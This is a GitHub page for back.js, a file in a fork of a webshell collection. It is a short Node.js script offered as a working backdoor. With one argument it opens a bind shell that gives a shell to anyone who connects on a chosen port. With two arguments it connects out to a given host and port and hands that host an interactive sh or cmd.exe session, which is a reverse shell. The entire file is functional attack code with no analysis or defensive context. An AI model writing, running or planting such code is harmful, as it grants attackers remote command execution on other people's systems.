forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
back.js
29 lines (27 loc) · 932 Bytes
/
back.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var spawn = require('child_process').spawn;
var net = require('net');
var stream = require('stream');
var console = require('console');
var shell = '/bin/sh';
if(process.platform.match(/^win/i)) shell = 'cmd.exe';
var argv = process.argv;
if(argv.length==3){
var h = net.createServer(function(s){
s.write("b4tm4n shell : connected\n");
var sh = spawn(shell);
sh.stdin.resume()
sh.stdout.on("data",function (data){s.write(data);});
sh.stderr.on("data",function (data){s.write(data);});
s.on("data",function (data){sh.stdin.write(data);});
});
h.listen(argv[2]);
}
else if(argv.length==4){
var s = net.createConnection(argv[2], argv[3]);
s.write("b4tm4n shell : connected\n");
var sh = spawn(shell);
sh.stdin.resume()
sh.stdout.on("data",function (data){s.write(data);});
sh.stderr.on("data",function (data){s.write(data);});
s.on("data",function (data){sh.stdin.write(data);});
}